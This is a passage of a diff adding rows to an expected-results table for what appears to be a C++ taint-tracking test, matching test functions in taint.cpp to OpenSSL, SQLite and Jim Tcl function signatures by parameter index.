CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:249:13:249:13 | operator() | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:249:13:249:13 | operator() | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | operator() | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | operator() | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | operator() | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:249:13:249:13 | operator() | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | operator() | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:249:13:249:13 | operator() | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:249:13:249:13 | operator() | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:249:13:249:13 | operator() | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:249:13:249:13 | operator() | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:249:13:249:13 | operator() | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:249:13:249:13 | operator() | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | BN_security_bits | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | BN_security_bits | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_MD_meth_new | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_PKEY_meth_new | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | acttab_alloc | 0 | +| taint.cpp:249:13:249:13 | operator() | (int,int) | | acttab_alloc | 1 | +| taint.cpp:249:13:249:13 | operator() | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:249:13:249:13 | operator() | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:249:13:249:13 | operator() | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:249:13:249:13 | operator() | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:249:13:249:13 | operator() | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:249:13:249:13 | operator() | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:249:13:249:13 | operator() | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:249:13:249:13 | operator() | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:249:13:249:13 | operator() | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:266:5:266:6 | id | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ASN1_tag2str | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | Jim_SignalId | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | PKCS12_init | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | Symbol_Nth | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ossl_tolower | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | ossl_toupper | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | pulldown_test_framework | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | sqlite3_errstr | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | tls1_alert_code | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | tls13_alert_code | 0 | +| taint.cpp:266:5:266:6 | id | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:302:6:302:14 | myAssign2 | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:302:6:302:14 | myAssign2 | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:302:6:302:14 | myAssign2 | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:302:6:302:14 | 